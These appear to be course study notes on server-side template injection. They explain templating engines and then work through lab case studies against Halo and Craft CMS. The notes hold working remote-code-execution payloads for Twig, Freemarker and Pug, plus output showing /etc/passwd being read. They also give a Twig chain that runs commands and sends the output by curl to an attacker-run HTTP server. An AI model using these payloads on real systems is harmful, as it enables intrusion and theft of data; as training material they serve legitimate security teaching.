Module 12: Server-side Template Injection - Discovery and Exploitation
Templating Engines
Accessing the Template Sandbox
Start the VPN, VM, and add IP to hosts.
Introduction to Templating Engines
Example Email
Hello Dragan,
Thank you for your order! Your items will be shipped out shortly:
Widget - $10
Quantity: 3
Total: $30
Toolkit - $20
Quantity: 1
Total: $20
_______________
Total: $50
These items will be shipped to:
194 Bridge Avenue Elton, Louisiana 70532
Example Template Email
01 Hello {{ name }},
02
03 Thank you for your order! Your items will be shipped out shortly:
04 {% for product in cart %}
05 {{product.name}}
06 Price: ${{product.price}}
07 Quantity: {{product.quantity}}
08 Total: ${{product.quantity * product.price}}
09 {% endfor %}____________________
10 Total: ${{total}}
11
12 {% if cart|length > 1 %}
13 These items{% else %}
14 This item{% endif %} will be shipped to:
15 {{address}}
Example Template Variables
{
"name": "Dragan",
"address": "194 Bridge Avenue Elton, Louisiana 70532",
"cart": [
{
"name": "Widget",
"quantity": 3,
"price": 10
},
{
"name": "Toolkit",
"quantity": 1,
"price": 20
}
],
"total": 50
}
Greeting the user
01 Hello {{ name }},
...
Template For Loop
04 {% for product in cart %}
05 {{product.name}}
06 Price: ${{product.price}}
07 Quantity: {{product.quantity}}
08 Total: ${{product.quantity * product.price}}
09 {% endfor %}
Displaying the total
10 Total: ${{total}}
Template If Statement
12 {% if cart|length > 1 %}
13 These items{% else %}
14 This item{% endif %} will be shipped to:
15 {{address}}
Various Templating Engines
Twig
PHP
Server Side
Freemarker
Java (usually)
Server Side
Pug/Jade
JavaScript
Mostly Server Side
Jinja
Python
Server Side
Handlebars
JavaScript
Both
Mustache
Multiple
Varies

Twig - Discovery and Exploitation
Twig - Discovery
Inline PHP before Twig
<h1><?php echo $name ?></h1>
<p>Welcome to our site!</p>
<?php
if ($isAdmin) {
echo "<p>You are the supreme leader and we love you</p>";
}
?>
Twig Template
<h1>{% if not admin %}sudo {% endif %}make me a sandwich, {{name|capitalize}}!</h1>
We are using Twig remotely to generate this template
Twig Statement
{% if not admin %}sudo {% endif %}
Twig - Exploitation

Twig Documentation Example
{% set numbers = [1, 2, 3] %}
{{ numbers|reduce((carry, v) => carry + v) }}
{# output 6 #}
Arguments for the reduce Function
Arguments
arrow: The arrow function
initial: The initial value
var_dump payload
{{[0]|reduce('var_dump','Hello')}}
var_dump Payload output
string(5) "Hello"
int(0)
whoami Payload
{{[0]|reduce('system','whoami')}}

Apache Freemarker - Discovery and Exploitation
Freemarker - Discovery
Freemarker Template
01 <h1>Hello ${name}!</h1>
02 <#if name == "hacker">
03 The top reasons you're great:
04 <#list reasons as reason>
05 ${reason?index + 1}: ${reason}
06 </#list>
07 </#if>

If Statement in Freemarker
02 <#if name == "hacker">
...
07 </#if>

Loop in Freemarker
04 <#list reasons as reason>
05 ${reason?index + 1}: ${reason}
06 </#list>
Freemarker tends to be more susceptible to XSS than other templating engines due to the requirements before 2016 to have developers specify if a variable needs to be HTML escaped.



Freemarker - Exploitation

Freemarker Execute Payload
${"freemarker.template.utility.Execute"?new()("whoami")}

Pug - Discovery and Exploitation
Pug - Discovery
Pug Template
01 h1 Hello, #{name}
02 input(type='hidden' name='admin' value='true')
03
04 if showSecret
05 - secret = ['❤️','😍', '🤟']
06 p The secrets are:
07 each val in secret
08 p #{val}
09 else
10 p No secret for you!
Attributes in Pug
02 input(type='hidden' name='admin' value='true')
if statement in Pug
04 if showSecret
...
09 else
10 p No secret for you!
Code in Pug
05 - secret = ['❤️','😍', '🤟']
Buffered Code
= secret = ['❤️','😍', '🤟']
Pug Loop
07 each val in secret
08 p #{val}

Pug - Exploitation


Storing require as Variable
- var require = global.process.mainModule.require
= require('child_process')

Executing spawnSync
- var require = global.process.mainModule.require
= require('child_process').spawnSync('whoami').stdout
Jinja - Discovery and Exploitation
Jinja - Discovery
Jinja Templating Engine
01 <h1>Hey {{ name }}</h1>
02 {% if reasons %}
03 Here are a couple of reasons why you are great:
04 <ul>
05 {% for r in reasons %}
06 <li>{{r}}</li>
07 {% endfor %}
08 </ul>
09 {% endif %}

Jinja - Exploitation
Obtaining RCE via injection in the Jinja templating engine is the type of complex technique reviewed in the WEB-300 course.

Mustache and Handlebars - Discovery and Exploitation
Mustache and Handlebars - Discovery
Handlebars Template
01 <h1>Hello {{name}}</h1>
02 {{#if nicknames}}
03 Also known as:
04 {{#each nicknames}}
05 {{this}}
06 {{/each}}
07 {{/if}}
08
09 We are using handlebars locally in your browser to generate this template
Handlebars Expression
01 <h1>Hello {{name}}</h1>
Handlebars Helpers
02 {{#if nicknames}}
03 Also known as:
04 {{#each nicknames}}
05 {{this}}
06 {{/each}}
07 {{/if}}
Mustache and Handlebars - Exploitation
For the most part Handlebars is fairly safe due to it being logicless, however helpers can cause it to be "vulnerable".


Halo - Case Study
Accessing Halo
Start the VPN, the VM, and add IP to hosts.
Halo - Translation and Discovery
Install an extension to translate the page if the browser won't do it automatically — I installed Translate Web Page from Filipe Dev into Firefox.



404.ftl
01 <!DOCTYPE html>
02 <html>
03 <head>
04 <meta http-equiv="content-type" content="text/html; charset=utf-8">
05 <link rel="alternate" type="application/rss+xml" title="atom 1.0" href="/atom.xml">
06 <title>Not Found</title>
07 <link href="${static!}/source/css/style.min.css" type="text/css" rel="stylesheet"/>
08 </head>
09 <div class="page_404">
10 <p>The page you are looking for is missing</p>
11 </div>
12 </html>
404 page with Halo
kali@kali:~$ curl -L http://halo/DoesNotExist
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<link rel="alternate" type="application/rss+xml" title="atom 1.0" href="/atom.xml">
<title>Not Found</title>
<link href="http://halo/anatole/source/css/style.min.css" type="text/css" rel="stylesheet"/>
</head>
<div class="page_404">
<p>The page you are looking for is missing</p>
</div>
</html>
Non-freemarker template response
...
11 </div>
12 </html>
13 {{5*5}}
Freemarker Template Response
kali@kali:~$ curl -L http://halo/DoesNotExist
...
</html>
25
Freemarker template with string response
...
11 </div>
12 </html>
13 ${5*'5'}
Halo - Exploitation
Freemarker RCE Payload
${"freemarker.template.utility.Execute"?new()("whoami")}

/etc/passwd in Halo
kali@kali:~$ curl -L http://halo/DoesNotExist
...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
Extra Mile
Do the lab.
Craft CMS with Sprout Forms - Case Study
Accessing Craft CMS
Start the VPN, the VM, and add the IP to yours hosts.
Craft CMS with Sprout Forms - Discovery


Running Gobuster against the craft webpage
kali@kali:~$ gobuster dir --wordlist /usr/share/wordlists/dirb/common.txt --url http://craft/
...
===============================================================
/admin (Status: 302) [Size: 0] [--> http://craft/admin/login]
/index (Status: 200) [Size: 56284]
/Index (Status: 200) [Size: 56284]
/index.php (Status: 200) [Size: 56284]
/logout (Status: 302) [Size: 0] [--> http://craft/]
...




cURL Payload
{{[0]|reduce('system','curl http://192.168.49.51/helloFromTheOtherSide')}}
Python HTTP Server
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
SSTI Confirmation
192.168.51.105 - - [09/Jul/2021 14:28:16] code 404, message File not found
192.168.51.105 - - [09/Jul/2021 14:28:16] "GET /helloFromTheOtherSide HTTP/1.1" 404 -
Craft CMS with Sprout Forms - Exploitation

Exfiltration Payload
{{[0]|reduce('system','curl http://192.168.49.51/?exfil=' ~ exfil)}}
Exfiltration in HTTP log
192.168.51.101 - - [09/Jul/2021 14:44:49] "GET /?exfil= HTTP/1.1" 200 -
URL Encoding Exfil
{% set exfil = "Hello & Goodbye"| url_encode %}
{{[0]|reduce('system','curl http://192.168.49.51/?exfil=' ~ exfil)}}
Encoded message in HTTP log
192.168.51.101 - - [09/Jul/2021 15:45:57] "GET /?exfil=Hello%20%26%20Goodbye HTTP/1.1" 200 -
Executing whoami and Exfiltrating the Output
{% set output %}
{{[0]|reduce('system','whoami')}}
{% endset %}
{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://192.168.49.51/?exfil=' ~ exfil)}}
Output of whoami Logged
192.168.51.101 - - [09/Jul/2021 15:55:59] "GET /?exfil=www-data%0Awww-data%0A HTTP/1.1" 200 -

/etc/passwd From Craft
192.168.51.105 - - [09/Jul/2021 15:57:50] "GET /?exfil=%3Cbr%20%2F%3E%0Aroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fash%0Abin%3Ax%3A1%3A1%3Abin%3A%2Fbin%3A%2Fsbin%2Fnologin%0Adaemon%3Ax%3A2%3...



Last updated